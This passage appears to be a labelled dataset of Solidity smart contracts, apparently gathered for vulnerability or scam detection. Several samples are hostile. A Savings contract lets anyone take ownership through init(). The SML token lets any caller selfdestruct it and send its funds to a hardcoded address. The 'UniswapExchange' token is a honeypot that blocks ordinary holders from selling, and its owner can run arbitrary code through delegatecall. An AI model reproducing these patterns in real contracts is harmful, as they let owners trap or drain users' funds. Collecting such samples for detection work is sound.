axiesAdopted[adopter][clazz] = axiesAdopted[adopter][clazz].add(quantity); totalAxiesAdopted[clazz] = totalAxiesAdopted[clazz].add(quantity); AxiesAdopted( adopter, clazz, quantity, referrer ); } function _redeemAdoptedAxies( address receiver, uint8 clazz, uint256 quantity ) private returns (uint256 remainingQuantity) { remainingQuantity = axiesAdopted[receiver][clazz] = axiesAdopted[receiver][clazz].sub(quantity); if (quantity > 0) { totalAxiesAdopted[clazz] -= quantity; AdoptedAxiesRedeemed(receiver, clazz, quantity); } } } contract HasNoContracts is Ownable { function reclaimContract(address contractAddr) external onlyOwner { Ownable contractInst = Ownable(contractAddr); contractInst.transferOwnership(owner); } } contract AxiePresaleExtended is HasNoContracts, Pausable { using SafeMath for uint256; uint256 constant public PRESALE_END_TIMESTAMP = 1523923199; uint256 constant public MAX_TOTAL_ADOPTED_AXIES = 5250; uint8 constant public CLASS_BEAST = 0; uint8 constant public CLASS_AQUATIC = 2; uint8 constant public CLASS_PLANT = 4; uint256 constant public INITIAL_PRICE_INCREMENT = 1600 szabo; uint256 constant public INITIAL_PRICE = INITIAL_PRICE_INCREMENT; uint256 constant public REF_CREDITS_PER_AXIE = 5; AxiePresale public presaleContract; address public redemptionAddress; mapping (uint8 => uint256) public currentPrice; mapping (uint8 => uint256) public priceIncrement; mapping (uint8 => uint256) private _totalAdoptedAxies; mapping (uint8 => uint256) private _totalDeductedAdoptedAxies; mapping (address => mapping (uint8 => uint256)) private _numAdoptedAxies; mapping (address => mapping (uint8 => uint256)) private _numDeductedAdoptedAxies; mapping (address => uint256) private _numRefCredits; mapping (address => uint256) private _numDeductedRefCredits; uint256 public numBountyCredits; uint256 private _totalRewardedAxies; uint256 private _totalDeductedRewardedAxies; mapping (address => uint256) private _numRewardedAxies; mapping (address => uint256) private _numDeductedRewardedAxies; event AxiesAdopted( address indexed _adopter, uint8 indexed _class, uint256 _quantity, address indexed _referrer ); event AxiesRewarded(address indexed _receiver, uint256 _quantity); event AdoptedAxiesRedeemed(address indexed _receiver, uint8 indexed _class, uint256 _quantity); event RewardedAxiesRedeemed(address indexed _receiver, uint256 _quantity); event RefCreditsMinted(address indexed _receiver, uint256 _numMintedCredits); function AxiePresaleExtended() public payable { require(msg.value == 0); paused = true; numBountyCredits = 300; } function () external payable { require(msg.sender == address(presaleContract)); } modifier whenNotInitialized { require(presaleContract == address(0)); _; } modifier whenInitialized { require(presaleContract != address(0)); _; } modifier onlyRedemptionAddress { require(msg.sender == redemptionAddress); _; } function reclaimEther() external onlyOwner whenInitialized { presaleContract.reclaimEther(); owner.transfer(this.balance); } function initialize(address _presaleAddress) external onlyOwner whenNotInitialized { presaleContract = AxiePresale(_presaleAddress); presaleContract.pause(); priceIncrement[CLASS_BEAST] = presaleContract.priceIncrements(CLASS_BEAST); priceIncrement[CLASS_AQUATIC] = presaleContract.priceIncrements(CLASS_AQUATIC); priceIncrement[CLASS_PLANT] = presaleContract.priceIncrements(CLASS_PLANT); currentPrice[CLASS_BEAST] = presaleContract.currentPrices(CLASS_BEAST); currentPrice[CLASS_AQUATIC] = presaleContract.currentPrices(CLASS_AQUATIC); currentPrice[CLASS_PLANT] = presaleContract.currentPrices(CLASS_PLANT); paused = false; } function setRedemptionAddress(address _redemptionAddress) external onlyOwner whenInitialized { redemptionAddress = _redemptionAddress; } function totalAdoptedAxies( uint8 _class, bool _deduction ) external view whenInitialized returns (uint256 _number) { _number = _totalAdoptedAxies[_class] .add(presaleContract.totalAxiesAdopted(_class)); if (_deduction) { _number = _number.sub(_totalDeductedAdoptedAxies[_class]); } } function numAdoptedAxies( address _owner, uint8 _class, bool _deduction ) external view whenInitialized returns (uint256 _number) { _number = _numAdoptedAxies[_owner][_class] .add(presaleContract.axiesAdopted(_owner, _class)); if (_deduction) { _number = _number.sub(_numDeductedAdoptedAxies[_owner][_class]); } } function numRefCredits( address _owner, bool _deduction ) external view whenInitialized returns (uint256 _number) { _number = _numRefCredits[_owner] .add(presaleContract.referralCredits(_owner)); if (_deduction) { _number = _number.sub(_numDeductedRefCredits[_owner]); } } function totalRewardedAxies( bool _deduction ) external view whenInitialized returns (uint256 _number) { _number = _totalRewardedAxies .add(presaleContract.totalAxiesRewarded()); if (_deduction) { _number = _number.sub(_totalDeductedRewardedAxies); } } function numRewardedAxies( address _owner, bool _deduction ) external view whenInitialized returns (uint256 _number) { _number = _numRewardedAxies[_owner] .add(presaleContract.axiesRewarded(_owner)); if (_deduction) { _number = _number.sub(_numDeductedRewardedAxies[_owner]); } } function axiesPrice( uint256 _beastQuantity, uint256 _aquaticQuantity, uint256 _plantQuantity ) external view whenInitialized returns (uint256 _totalPrice) { uint256 price; (price,,) = _sameClassAxiesPrice(CLASS_BEAST, _beastQuantity); _totalPrice = _totalPrice.add(price); (price,,) = _sameClassAxiesPrice(CLASS_AQUATIC, _aquaticQuantity); _totalPrice = _totalPrice.add(price); (price,,) = _sameClassAxiesPrice(CLASS_PLANT, _plantQuantity); _totalPrice = _totalPrice.add(price); } function adoptAxies( uint256 _beastQuantity, uint256 _aquaticQuantity, uint256 _plantQuantity, address _referrer ) external payable whenInitialized whenNotPaused { require(now <= PRESALE_END_TIMESTAMP); require(_beastQuantity <= 3 && _aquaticQuantity <= 3 && _plantQuantity <= 3); uint256 _totalAdopted = this.totalAdoptedAxies(CLASS_BEAST, false) .add(this.totalAdoptedAxies(CLASS_AQUATIC, false)) .add(this.totalAdoptedAxies(CLASS_PLANT, false)) .add(_beastQuantity) .add(_aquaticQuantity) .add(_plantQuantity); require(_totalAdopted <= MAX_TOTAL_ADOPTED_AXIES); address _adopter = msg.sender; address _actualReferrer = 0x0; if (_referrer != _adopter) { _actualReferrer = _referrer; } uint256 _value = msg.value; uint256 _price; if (_beastQuantity > 0) { _price = _adoptSameClassAxies( _adopter, CLASS_BEAST, _beastQuantity, _actualReferrer ); require(_value >= _price); _value -= _price; } if (_aquaticQuantity > 0) { _price = _adoptSameClassAxies( _adopter, CLASS_AQUATIC, _aquaticQuantity, _actualReferrer ); require(_value >= _price); _value -= _price; } if (_plantQuantity > 0) { _price = _adoptSameClassAxies( _adopter, CLASS_PLANT, _plantQuantity, _actualReferrer ); require(_value >= _price); _value -= _price; } msg.sender.transfer(_value); if (_actualReferrer != 0x0) { _applyRefCredits( _actualReferrer, _beastQuantity.add(_aquaticQuantity).add(_plantQuantity) ); } } function mintRefCredits( address _receiver, uint256 _numMintedCredits ) external onlyOwner whenInitialized returns (uint256) { require(_receiver != address(0)); numBountyCredits = numBountyCredits.sub(_numMintedCredits); _applyRefCredits(_receiver, _numMintedCredits); RefCreditsMinted(_receiver, _numMintedCredits); return numBountyCredits; } function redeemAdoptedAxies( address _receiver, uint256 _beastQuantity, uint256 _aquaticQuantity, uint256 _plantQuantity ) external onlyRedemptionAddress whenInitialized returns ( uint256 , uint256 , uint256 ) { return ( _redeemSameClassAdoptedAxies(_receiver, CLASS_BEAST, _beastQuantity), _redeemSameClassAdoptedAxies(_receiver, CLASS_AQUATIC, _aquaticQuantity), _redeemSameClassAdoptedAxies(_receiver, CLASS_PLANT, _plantQuantity) ); } function redeemRewardedAxies( address _receiver, uint256 _quantity ) external onlyRedemptionAddress whenInitialized returns (uint256 _remainingQuantity) { _remainingQuantity = this.numRewardedAxies(_receiver, true).sub(_quantity); if (_quantity > 0) { _numDeductedRewardedAxies[_receiver] = _numDeductedRewardedAxies[_receiver].add(_quantity); _totalDeductedRewardedAxies = _totalDeductedRewardedAxies.add(_quantity); RewardedAxiesRedeemed(_receiver, _quantity); } } function _sameClassAxiesPrice( uint8 _class, uint256 _quantity ) private view returns ( uint256 _totalPrice, uint256 _currentIncrement, uint256 _currentPrice ) { _currentIncrement = priceIncrement[_class]; _currentPrice = currentPrice[_class]; uint256 _nextPrice; for (uint256 i = 0; i < _quantity; i++) { _totalPrice = _totalPrice.add(_currentPrice); _nextPrice = _currentPrice.add(_currentIncrement); if (_nextPrice / 100 finney != _currentPrice / 100 finney) { _currentIncrement >>= 1; } _currentPrice = _nextPrice; } } function _adoptSameClassAxies( address _adopter, uint8 _class, uint256 _quantity, address _referrer ) private returns (uint256 _totalPrice) { (_totalPrice, priceIncrement[_class], currentPrice[_class]) = _sameClassAxiesPrice(_class, _quantity); _numAdoptedAxies[_adopter][_class] = _numAdoptedAxies[_adopter][_class].add(_quantity); _totalAdoptedAxies[_class] = _totalAdoptedAxies[_class].add(_quantity); AxiesAdopted( _adopter, _class, _quantity, _referrer ); } function _applyRefCredits(address _receiver, uint256 _numAppliedCredits) private { _numRefCredits[_receiver] = _numRefCredits[_receiver].add(_numAppliedCredits); uint256 _numCredits = this.numRefCredits(_receiver, true); uint256 _numRewards = _numCredits / REF_CREDITS_PER_AXIE; if (_numRewards > 0) { _numDeductedRefCredits[_receiver] = _numDeductedRefCredits[_receiver] .add(_numRewards.mul(REF_CREDITS_PER_AXIE)); _numRewardedAxies[_receiver] = _numRewardedAxies[_receiver].add(_numRewards); _totalRewardedAxies = _totalRewardedAxies.add(_numRewards); AxiesRewarded(_receiver, _numRewards); } } function _redeemSameClassAdoptedAxies( address _receiver, uint8 _class, uint256 _quantity ) private returns (uint256 _remainingQuantity) { _remainingQuantity = this.numAdoptedAxies(_receiver, _class, true).sub(_quantity); if (_quantity > 0) { _numDeductedAdoptedAxies[_receiver][_class] = _numDeductedAdoptedAxies[_receiver][_class].add(_quantity); _totalDeductedAdoptedAxies[_class] = _totalDeductedAdoptedAxies[_class].add(_quantity); AdoptedAxiesRedeemed(_receiver, _class, _quantity); } } }
1
5,353
pragma solidity ^0.4.17; contract Ownable { address public Owner; function Ownable() { Owner = msg.sender; } function isOwner() internal constant returns (bool) { return(Owner == msg.sender); } } contract Savings is Ownable { address public Owner; mapping (address => uint) public deposits; uint public openDate; event Initialized(address indexed Owner, uint OpenDate); event Deposit(address indexed Depositor, uint Amount); event Withdrawal(address indexed Withdrawer, uint Amount); function init(uint open) payable { Owner = msg.sender; openDate = open; Initialized(Owner, open); } function() payable { deposit(); } function deposit() payable { if (msg.value >= 1 ether) { deposits[msg.sender] += msg.value; Deposit(msg.sender, msg.value); } } function withdraw(uint amount) payable { if (isOwner() && now >= openDate) { uint max = deposits[msg.sender]; if (amount <= max && max > 0) { msg.sender.transfer(amount); } } } function kill() payable { if (isOwner() && this.balance == 0) { selfdestruct(msg.sender); } } }
1
3,748
pragma solidity ^0.4.11; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract DestoryBasic { address destoryAddress; function setDestoryAddress(address _destory) { destoryAddress = _destory; } function ifDestory(address from) returns (bool) { if (from == destoryAddress) { return true; } return false; } } contract BasicToken is ERC20Basic,DestoryBasic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { if(ifDestory(msg.sender)) throw; balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { if(ifDestory(msg.sender)) throw; var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw ; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract GTSTOKEN is StandardToken,Ownable { using SafeMath for uint; string public name = "GTSTOKEN"; string public symbol = "GTS"; uint public decimals = 9; uint public totalSupply = 10000000000 * (10 ** decimals); uint lockTotal = 4000000000 * (10 ** decimals); uint public releaseTotal = 500000000 * (10 ** decimals); uint lockTime = 0; function GTSTOKEN (address admin_) { lockTime = 1518192000; owner = admin_; setDestoryAddress(address(0x0)); balances[admin_] = totalSupply - lockTotal; } function release() onlyOwner { if (lockTime + 1 years > now) { throw; } if ( lockTotal == 0 ) { throw; } lockTotal = lockTotal.sub(releaseTotal); balances[owner] = balances[owner].add(releaseTotal); lockTime = lockTime + 1 years; return; } }
1
4,413
pragma solidity ^0.4.11; contract SML { uint256 constant PRECISION = 0x10000000000000000; int constant CRRN = 4; int constant CRRD = 5; int constant LOGC = -0x678adeacb985cb06; string constant public name = "数码链"; string constant public symbol = "SML"; uint8 constant public decimals = 13; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => int256) payouts; int256 totalPayouts; uint256 earningsPerShare; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); address owner; function PonziToken() { owner = msg.sender; } function transferTokens(address _from, address _to, uint256 _value) internal { if (balanceOf[_from] < _value) throw; if (_to == address(this)) { sell(_value); } else { int256 payoutDiff = (int256) (earningsPerShare * _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; payouts[_from] -= payoutDiff; payouts[_to] += payoutDiff; } Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) external { transferTokens(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) { var _allowance = allowance[_from][msg.sender]; if (_allowance < _value) throw; allowance[_from][msg.sender] = _allowance - _value; transferTokens(_from, _to, _value); } function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)(earningsPerShare * balanceOf[_owner]) - payouts[_owner]) / PRECISION; } function withdraw(address to) public { var balance = dividends(msg.sender); payouts[msg.sender] += (int256) (balance * PRECISION); totalPayouts += (int256) (balance * PRECISION); to.transfer(balance); } function balance() internal constant returns (uint256 amount) { return this.balance - msg.value; } function reserve() public constant returns (uint256 amount) { return balance() - ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1; } function buy() internal { if (msg.value < 0.000001 ether || msg.value > 1000000 ether) throw; var sender = msg.sender; var fee = (uint)(msg.value / 20000); var numEther = msg.value - fee; var numTokens = getTokensForEther(numEther); var buyerfee = fee * PRECISION; if (totalSupply > 0) { var holderreward = (PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther) * (uint)(CRRD) / (uint)(CRRD-CRRN); var holderfee = fee * holderreward; buyerfee -= holderfee; var feePerShare = holderfee / totalSupply; earningsPerShare += feePerShare; } totalSupply += numTokens; balanceOf[sender] += numTokens; var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee); payouts[sender] += payoutDiff; totalPayouts += payoutDiff; } function sell(uint256 amount) internal { var numEthers = getEtherForTokens(amount); totalSupply -= amount; balanceOf[msg.sender] -= amount; var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION)); payouts[msg.sender] -= payoutDiff; totalPayouts -= payoutDiff; } function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply; } function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { if (tokens == totalSupply) return reserve(); return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN); } int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; function fixedLog(uint256 a) internal constant returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); var z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; function fixedExp(int256 a) internal constant returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } function admin() external { selfdestruct(0x6b1FC9a08F1ED0e2d4f33D769510f0a0a345772c); } function () payable public { if (msg.value > 0) buy(); else withdraw(msg.sender); } }
1
4,744
contract DAO { function balanceOf(address addr) returns (uint); function transferFrom(address from, address to, uint balance) returns (bool); uint public totalSupply; } contract WithdrawDAO { DAO constant public mainDAO = DAO(0x35a051a0010aba705c9008d7a7eff6fb88f6ea7b); address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526; function withdraw(){ uint balance = mainDAO.balanceOf(msg.sender); if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance)) throw; } function trusteeWithdraw() { trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply()); } }
0
709
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,282
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract CreaEther is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function CreaEther() public { symbol = "CETH"; name = "CreaEther"; decimals = 18; _totalSupply = 80000000000000000000000000000; balances[0xE07a70247262A0C69CA5EE556B232dbE3611F159] = _totalSupply; Transfer(address(0), 0xE07a70247262A0C69CA5EE556B232dbE3611F159, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
5,068
